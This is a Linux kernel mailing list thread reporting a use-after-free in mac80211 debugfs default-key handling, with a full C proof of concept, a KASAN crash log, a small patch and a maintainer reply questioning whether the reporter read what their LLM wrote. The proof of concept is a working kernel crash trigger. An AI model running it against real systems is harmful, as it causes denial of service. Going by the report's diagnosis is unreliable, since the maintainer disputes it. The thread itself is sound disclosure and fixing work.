* [PATCH wireless 0/1] wifi: mac80211: reset default-key debugfs after netdev recreate
@ 2026-09-07 12:27 Zhiling Zou
2026-09-07 12:27 ` [PATCH wireless 1/1] " Zhiling Zou
2026-09-07 14:59 ` [PATCH wireless 0/1] " Johannes Berg
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-07 12:27 UTC (permalink / raw)
To: linux-wireless
Cc: johannes, gregory.greenman, miriam.rachel.korenblit, vega,
zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/mac80211/debugfs_key.c and
net/mac80211/debugfs_netdev.c. The bug is reachable by a root user.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
ieee80211_debugfs_key_update_default() keeps dentry pointers for the
default unicast and multicast key symlinks.
ieee80211_debugfs_recreate_netdev() can recursively remove the parent
netdev debugfs directory while those keys remain installed, for example
when adding the first MLO link. It clears the parent and stations
pointers, but not the child key dentries, then creates a new parent
directory.
A later default-key update passes the freed dentries to debugfs_remove().
That is a use-after-free.
Clear the stale default-key dentry pointers when the netdev debugfs tree
is removed, and recreate the symlinks after the directory is rebuilt.
Reproducer:
make
./poc.sh wlan0
The kernel must be booted with mac80211_hwsim.mlo=1.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/nl80211.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netlink/attr.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef WLAN_CIPHER_SUITE_WEP40
#define WLAN_CIPHER_SUITE_WEP40 0x000FAC01
#endif
static int ack_error_cb(struct sockaddr_nl *nla, struct nlmsgerr *err, void *arg)
{
(void)nla;
*(int *)arg = err->error;
return NL_STOP;
}
static int ack_cb(struct nl_msg *msg, void *arg)
{
(void)msg;
*(int *)arg = 0;
return NL_STOP;
}
static int finish_cb(struct nl_msg *msg, void *arg)
{
(void)msg;
(void)arg;
return NL_SKIP;
}
static int no_seq_check_cb(struct nl_msg *msg, void *arg)
{
(void)msg;
(void)arg;
return NL_OK;
}
static int nl_talk(struct nl_sock *sock, struct nl_msg *msg)
{
struct nl_cb *cb;
int err = 1;
if (nl_send_auto(sock, msg) < 0)
return -EIO;
cb = nl_cb_alloc(NL_CB_DEFAULT);
if (!cb)
return -ENOMEM;
nl_cb_set(cb, NL_CB_ACK, NL_CB_CUSTOM, ack_cb, &err);
nl_cb_set(cb, NL_CB_FINISH, NL_CB_CUSTOM, finish_cb, &err);
nl_cb_set(cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, no_seq_check_cb, NULL);
nl_cb_err(cb, NL_CB_CUSTOM, ack_error_cb, &err);
while (err > 0) {
int rc = nl_recvmsgs(sock, cb);
if (rc < 0) {
err = rc;
break;
}
}
nl_cb_put(cb);
return err;
}
static int open_ioctl_socket(void)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
perror("socket(AF_INET, SOCK_DGRAM)");
return fd;
}
static int set_if_updown(int fd, const char *ifname, bool up)
{
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
perror("SIOCGIFFLAGS");
return -1;
}
if (up)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
perror("SIOCSIFFLAGS");
return -1;
}
return 0;
}
static int set_iftype(struct nl_sock *sock, int family_id, int ifindex, int iftype)
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -ENOMEM;
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0,
NL80211_CMD_SET_INTERFACE, 0) ||
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex) ||
nla_put_u32(msg, NL80211_ATTR_IFTYPE, iftype)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nl_talk(sock, msg);
nlmsg_free(msg);
return err;
}
static int new_key(struct nl_sock *sock, int family_id, int ifindex,
int key_idx, const void *key_data, size_t key_len)
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -ENOMEM;
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0,
NL80211_CMD_NEW_KEY, 0) ||
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex) ||
nla_put_u8(msg, NL80211_ATTR_KEY_IDX, key_idx) ||
nla_put_u32(msg, NL80211_ATTR_KEY_CIPHER, WLAN_CIPHER_SUITE_WEP40) ||
nla_put(msg, NL80211_ATTR_KEY_DATA, key_len, key_data)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nl_talk(sock, msg);
nlmsg_free(msg);
return err;
}
static int set_default_key(struct nl_sock *sock, int family_id, int ifindex,
int key_idx, int link_id)
{
struct nl_msg *msg;
struct nlattr *types;
int err;
msg = nlmsg_alloc();
if (!msg)
return -ENOMEM;
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0,
NL80211_CMD_SET_KEY, 0) ||
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex) ||
nla_put_u8(msg, NL80211_ATTR_KEY_IDX, key_idx) ||
nla_put_flag(msg, NL80211_ATTR_KEY_DEFAULT)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
if (link_id >= 0 &&
nla_put_u8(msg, NL80211_ATTR_MLO_LINK_ID, link_id)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
types = nla_nest_start(msg, NL80211_ATTR_KEY_DEFAULT_TYPES);
if (!types ||
nla_put_flag(msg, NL80211_KEY_DEFAULT_TYPE_UNICAST) ||
nla_put_flag(msg, NL80211_KEY_DEFAULT_TYPE_MULTICAST)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
nla_nest_end(msg, types);
err = nl_talk(sock, msg);
nlmsg_free(msg);
return err;
}
static int del_key(struct nl_sock *sock, int family_id, int ifindex,
int key_idx, int link_id)
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -ENOMEM;
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0,
NL80211_CMD_DEL_KEY, 0) ||
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex) ||
nla_put_u8(msg, NL80211_ATTR_KEY_IDX, key_idx)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
if (link_id >= 0 &&
nla_put_u8(msg, NL80211_ATTR_MLO_LINK_ID, link_id)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nl_talk(sock, msg);
nlmsg_free(msg);
return err;
}
static int add_link(struct nl_sock *sock, int family_id, int ifindex,
int link_id, const unsigned char link_addr[ETH_ALEN])
{
struct nl_msg *msg;
int err;
msg = nlmsg_alloc();
if (!msg)
return -ENOMEM;
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0,
NL80211_CMD_ADD_LINK, 0) ||
nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex) ||
nla_put_u8(msg, NL80211_ATTR_MLO_LINK_ID, link_id) ||
nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, link_addr)) {
nlmsg_free(msg);
return -NLE_MSGSIZE;
}
err = nl_talk(sock, msg);
nlmsg_free(msg);
return err;
}
int main(int argc, char **argv)
{
static const unsigned char wep40_key[] = { 0x11, 0x22, 0x33, 0x44, 0x55 };
static const unsigned char link_addr[ETH_ALEN] = {
0x02, 0x00, 0x00, 0x00, 0x10, 0x01
};
const char *ifname = argc > 1 ? argv[1] : "wlan0";
struct nl_sock *sock;
int family_id;
int ifindex;
int fd;
int err;
ifindex = if_nametoindex(ifname);
if (!ifindex) {
fprintf(stderr, "if_nametoindex(%s): %s\n", ifname, strerror(errno));
return 1;
}
fd = open_ioctl_socket();
if (fd < 0)
return 1;
sock = nl_socket_alloc();
if (!sock) {
fprintf(stderr, "nl_socket_alloc failed\n");
return 1;
}
if (genl_connect(sock) < 0) {
fprintf(stderr, "genl_connect failed\n");
return 1;
}
nl_socket_set_buffer_size(sock, 8192, 8192);
family_id = genl_ctrl_resolve(sock, "nl80211");
if (family_id < 0) {
fprintf(stderr, "genl_ctrl_resolve(nl80211) failed: %d\n", family_id);
return 1;
}
printf("requires a booted kernel with mac80211_hwsim MLO enabled, e.g. mac80211_hwsim.mlo=1\n");
printf("[1/7] bring %s down\n", ifname);
if (set_if_updown(fd, ifname, false) < 0)
return 1;
printf("[2/7] change %s into an AP interface\n", ifname);
err = set_iftype(sock, family_id, ifindex, NL80211_IFTYPE_AP);
if (err < 0) {
fprintf(stderr, "NL80211_CMD_SET_INTERFACE failed: %s (%d)\n",
nl_geterror(err), err);
return 1;
}
printf("[3/7] bring %s up\n", ifname);
if (set_if_updown(fd, ifname, true) < 0)
return 1;
printf("[4/7] add WEP40 group key idx 0\n");
err = new_key(sock, family_id, ifindex, 0, wep40_key, sizeof(wep40_key));
if (err < 0) {
fprintf(stderr, "NL80211_CMD_NEW_KEY failed: %s (%d)\n",
nl_geterror(err), err);
return 1;
}
printf("[5/7] set key idx 0 as the default key on the deflink\n");
err = set_default_key(sock, family_id, ifindex, 0, -1);
if (err < 0) {
fprintf(stderr, "initial NL80211_CMD_SET_KEY failed: %s (%d)\n",
nl_geterror(err), err);
return 1;
}
printf("[6/7] add MLO link 1; this recreates the netdev debugfs tree while the key stays alive\n");
err = add_link(sock, family_id, ifindex, 1, link_addr);
if (err < 0) {
fprintf(stderr, "NL80211_CMD_ADD_LINK failed: %s (%d)\n",
nl_geterror(err), err);
return 1;
}
usleep(200000);
printf("[7/7] set the same default key again on link 1; this should hit the stale debugfs dentry\n");
err = set_default_key(sock, family_id, ifindex, 0, 1);
if (err < 0) {
fprintf(stderr, "second NL80211_CMD_SET_KEY failed: %s (%d)\n",
nl_geterror(err), err);
fprintf(stderr, "trying key deletion fallback\n");
err = del_key(sock, family_id, ifindex, 0, 1);
if (err < 0) {
fprintf(stderr, "NL80211_CMD_DEL_KEY failed: %s (%d)\n",
nl_geterror(err), err);
return 1;
}
}
printf("kernel survived the full sequence\n");
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 250.656715][T10485] page last allocated via order 1, migratetype Reclaimable, gfp_mask 0xd20d0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC|__GFP_RECLAIMABLE), pid 9087, tgid 9087 (rasdaemon), ts 169450826143, free_ts 64359481277
[ 250.660265][T10485] page last free pid 1 tgid 1 stack trace:
[ 250.661411][T10485] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 250.662509][T10485] CPU: 1 UID: 0 PID: 10485 Comm: poc Not tainted 6.12.95 #2
[ 250.663587][T10485] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 250.665366][T10485] Call Trace:
[ 250.665853][T10485] <TASK>
[ 250.666291][T10485] panic+0x533/0x610
[ 250.666881][T10485] ? __pfx_panic+0x10/0x10
[ 250.667530][T10485] ? rcu_is_watching+0x12/0xc0
[ 250.668241][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.669123][T10485] ? __pfx_lock_release+0x10/0x10
[ 250.669854][T10485] ? __pfx__printk+0x10/0x10
[ 250.670526][T10485] ? print_report+0x2e5/0x620
[ 250.671212][T10485] ? __lock_acquire+0x2f4e/0x3c40
[ 250.671949][T10485] check_panic_on_warn+0x61/0x80
[ 250.672689][T10485] end_report+0x11b/0x180
[ 250.673310][T10485] kasan_report+0xe8/0x110
[ 250.673968][T10485] ? __lock_acquire+0x2f4e/0x3c40
[ 250.674718][T10485] __lock_acquire+0x2f4e/0x3c40
[ 250.675429][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.676214][T10485] ? hlock_class+0x4e/0x130
[ 250.676883][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.677677][T10485] ? __lock_acquire+0x1249/0x3c40
[ 250.678420][T10485] ? __pfx___lock_acquire+0x10/0x10
[ 250.679171][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.679986][T10485] ? hlock_class+0x4e/0x130
[ 250.680655][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.681465][T10485] ? __lock_acquire+0xc96/0x3c40
[ 250.682184][T10485] lock_acquire.part.0+0x119/0x370
[ 250.682923][T10485] ? lockref_get+0xd/0x50
[ 250.683563][T10485] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 250.684384][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.685177][T10485] ? rcu_is_watching+0x12/0xc0
[ 250.685869][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.686664][T10485] ? trace_lock_acquire+0x145/0x1c0
[ 250.687409][T10485] ? lockref_get+0xd/0x50
[ 250.688083][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.688927][T10485] ? lock_acquire+0x2f/0xb0
[ 250.689580][T10485] ? lockref_get+0xd/0x50
[ 250.690210][T10485] _raw_spin_lock+0x33/0x40
[ 250.690979][T10485] ? lockref_get+0xd/0x50
[ 250.691616][T10485] lockref_get+0xd/0x50
[ 250.692302][T10485] simple_recursive_removal+0x33/0x7e0
[ 250.693079][T10485] ? __pfx_remove_one+0x10/0x10
[ 250.693786][T10485] ? do_raw_spin_unlock+0x177/0x230
[ 250.694557][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.695389][T10485] ? _raw_spin_unlock+0x2d/0x50
[ 250.696077][T10485] debugfs_remove+0x44/0x70
[ 250.696737][T10485] ieee80211_debugfs_key_update_default+0x11c/0x6a0
[ 250.697695][T10485] ? __pfx_ieee80211_debugfs_key_update_default+0x10/0x10
[ 250.698728][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.699552][T10485] ? rcu_is_watching+0x12/0xc0
[ 250.700230][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.701065][T10485] ? __ieee80211_set_default_key+0x35d/0xa70
[ 250.701993][T10485] ieee80211_config_default_key+0x4c/0x60
[ 250.702870][T10485] nl80211_set_key+0x63d/0xd40
[ 250.703564][T10485] ? __pfx_nl80211_set_key+0x10/0x10
[ 250.704324][T10485] ? trace_kmalloc+0x2b/0xe0
[ 250.705022][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.705844][T10485] ? nl80211_pre_doit+0x588/0x800
[ 250.706619][T10485] genl_family_rcv_msg_doit+0x1e5/0x2d0
[ 250.707430][T10485] ? __pfx_genl_family_rcv_msg_doit+0x10/0x10
[ 250.708323][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.709149][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.709962][T10485] ? apparmor_capable+0xb9/0x180
[ 250.710597][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.711234][T10485] ? security_capable+0x8a/0x150
[ 250.711814][T10485] genl_rcv_msg+0x42d/0x6f0
[ 250.712365][T10485] ? __pfx_genl_rcv_msg+0x10/0x10
[ 250.712971][T10485] ? __pfx_nl80211_pre_doit+0x10/0x10
[ 250.713611][T10485] ? __pfx_nl80211_set_key+0x10/0x10
[ 250.714219][T10485] ? __pfx_nl80211_post_doit+0x10/0x10
[ 250.714895][T10485] ? __pfx___lock_acquire+0x10/0x10
[ 250.715491][T10485] ? find_held_lock+0x2d/0x110
[ 250.716050][T10485] netlink_rcv_skb+0x136/0x370
[ 250.716619][T10485] ? __pfx_genl_rcv_msg+0x10/0x10
[ 250.717222][T10485] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 250.717891][T10485] ? __pfx_netlink_rcv_skb+0x10/0x10
[ 250.718500][T10485] ? rwsem_read_trylock+0x130/0x250
[ 250.719080][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.719749][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.720433][T10485] ? down_read+0xcc/0x330
[ 250.720936][T10485] ? __pfx_down_read+0x10/0x10
[ 250.721492][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.722125][T10485] ? netlink_deliver_tap+0x14b/0xa80
[ 250.722729][T10485] genl_rcv+0x28/0x40
[ 250.723191][T10485] netlink_unicast+0x479/0x790
[ 250.723764][T10485] ? __pfx_netlink_unicast+0x10/0x10
[ 250.724368][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.725034][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.725686][T10485] ? __check_object_size+0x2eb/0x4f0
[ 250.726295][T10485] netlink_sendmsg+0x76e/0xc10
[ 250.726851][T10485] ? __pfx_netlink_sendmsg+0x10/0x10
[ 250.727467][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.728101][T10485] ? apparmor_socket_sendmsg+0x2e/0x200
[ 250.728749][T10485] ____sys_sendmsg+0x818/0xa10
[ 250.729238][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.729626][T10485] ? __pfx_____sys_sendmsg+0x10/0x10
[ 250.729986][T10485] ? __pfx_copy_msghdr_from_user+0x10/0x10
[ 250.730394][T10485] ? __lock_acquire+0x1249/0x3c40
[ 250.730740][T10485] ___sys_sendmsg+0x105/0x190
[ 250.731059][T10485] ? __pfx____sys_sendmsg+0x10/0x10
[ 250.731407][T10485] ? debug_object_free+0x299/0x500
[ 250.731768][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.732134][T10485] ? find_held_lock+0x2d/0x110
[ 250.732488][T10485] ? __might_fault+0xb6/0x120
[ 250.732805][T10485] __sys_sendmsg+0x122/0x1b0
[ 250.733121][T10485] ? __pfx___sys_sendmsg+0x10/0x10
[ 250.733473][T10485] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.733905][T10485] do_syscall_64+0xc7/0x270
[ 250.734217][T10485] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 250.734638][T10485] RIP: 0033:0x7f5e8bcda687
[ 250.734937][T10485] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 250.736229][T10485] RSP: 002b:00007ffc3d235470 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[ 250.736810][T10485] RAX: ffffffffffffffda RBX: 00007f5e8bc49c40 RCX: 00007f5e8bcda687
[ 250.737343][T10485] RDX: 0000000000000000 RSI: 00007ffc3d2354f0 RDI: 0000000000000004
[ 250.737879][T10485] RBP: 000056101ab9d460 R08: 0000000000000000 R09: 0000000000000000
[ 250.738411][T10485] R10: 0000000000000000 R11: 0000000000000202 R12: 000056101ab9d2a0
[ 250.738964][T10485] R13: 00007ffc3d2354f0 R14: 0000000000000001 R15: 0000000000000000
[ 250.739503][T10485] </TASK>
[ 250.739884][T10485] Kernel Offset: disabled
[ 250.740191][T10485] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
wifi: mac80211: reset default-key debugfs after netdev recreate
net/mac80211/debugfs_netdev.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH wireless 1/1] wifi: mac80211: reset default-key debugfs after netdev recreate
2026-09-07 12:27 [PATCH wireless 0/1] wifi: mac80211: reset default-key debugfs after netdev recreate Zhiling Zou
@ 2026-09-07 12:27 ` Zhiling Zou
2026-09-07 14:59 ` [PATCH wireless 0/1] " Johannes Berg
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-09-07 12:27 UTC (permalink / raw)
To: linux-wireless
Cc: johannes, gregory.greenman, miriam.rachel.korenblit, vega,
zhilinz
ieee80211_debugfs_key_update_default() stores dentry pointers for the
default unicast and multicast key symlinks. Recreating the netdev
debugfs tree removes that parent directory and clears the parent and
stations pointers, but not those child dentries.
A later default-key update then passes the freed dentries to
debugfs_remove().
Clear the stale pointers when the netdev debugfs tree is removed, and
recreate the default-key symlinks after the directory is rebuilt.
Fixes: c942398f95ef ("wifi: mac80211: handle debugfs when switching to/from MLO")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/mac80211/debugfs_netdev.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/mac80211/debugfs_netdev.c b/net/mac80211/debugfs_netdev.c
index f3c6a41e49119..a00b0776fdb1d 100644
--- a/net/mac80211/debugfs_netdev.c
+++ b/net/mac80211/debugfs_netdev.c
@@ -20,6 +20,7 @@
#include "ieee80211_i.h"
#include "rate.h"
#include "debugfs.h"
+#include "debugfs_key.h"
#include "debugfs_netdev.h"
#include "driver-ops.h"
@@ -1020,6 +1021,8 @@ void ieee80211_debugfs_remove_netdev(struct ieee80211_sub_if_data *sdata)
debugfs_remove_recursive(sdata->vif.debugfs_dir);
sdata->vif.debugfs_dir = NULL;
sdata->debugfs.subdir_stations = NULL;
+ sdata->debugfs.default_unicast_key = NULL;
+ sdata->debugfs.default_multicast_key = NULL;
}
void ieee80211_debugfs_rename_netdev(struct ieee80211_sub_if_data *sdata)
@@ -1032,6 +1035,7 @@ void ieee80211_debugfs_recreate_netdev(struct ieee80211_sub_if_data *sdata,
{
ieee80211_debugfs_remove_netdev(sdata);
ieee80211_debugfs_add_netdev(sdata, mld_vif);
+ ieee80211_debugfs_key_update_default(sdata);
if (sdata->flags & IEEE80211_SDATA_IN_DRIVER) {
drv_vif_add_debugfs(sdata->local, sdata);
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH wireless 0/1] wifi: mac80211: reset default-key debugfs after netdev recreate
2026-09-07 12:27 [PATCH wireless 0/1] wifi: mac80211: reset default-key debugfs after netdev recreate Zhiling Zou
2026-09-07 12:27 ` [PATCH wireless 1/1] " Zhiling Zou
@ 2026-09-07 14:59 ` Johannes Berg
1 sibling, 0 replies; 3+ messages in thread
From: Johannes Berg @ 2026-09-07 14:59 UTC (permalink / raw)
To: Zhiling Zou, linux-wireless
Cc: gregory.greenman, miriam.rachel.korenblit, vega
On Mon, 2026-09-07 at 20:27 +0800, Zhiling Zou wrote:
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/mac80211/debugfs_key.c and
> net/mac80211/debugfs_netdev.c. The bug is reachable by a root user.
>
> We've tested it, and it should not affect any other functionality.
>
> We will provide detailed information about the bug in this email, along
> with a PoC to trigger it.
[snip]
Did you read what your LLM wrote?
> printf("[4/7] add WEP40 group key idx 0\n");
> err = new_key(sock, family_id, ifindex, 0, wep40_key, sizeof(wep40_key));
> if (err < 0) {
> fprintf(stderr, "NL80211_CMD_NEW_KEY failed: %s (%d)\n",
> nl_geterror(err), err);
> return 1;
> }
>
> printf("[5/7] set key idx 0 as the default key on the deflink\n");
> err = set_default_key(sock, family_id, ifindex, 0, -1);
> if (err < 0) {
> fprintf(stderr, "initial NL80211_CMD_SET_KEY failed: %s (%d)\n",
> nl_geterror(err), err);
> return 1;
> }
>
> printf("[6/7] add MLO link 1; this recreates the netdev debugfs tree while the key stays alive\n");
Sure, WEP on MLO, but somehow debugfs is the problem ...
johannes
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-07 14:59 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-07 12:27 [PATCH wireless 0/1] wifi: mac80211: reset default-key debugfs after netdev recreate Zhiling Zou
2026-09-07 12:27 ` [PATCH wireless 1/1] " Zhiling Zou
2026-09-07 14:59 ` [PATCH wireless 0/1] " Johannes Berg
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.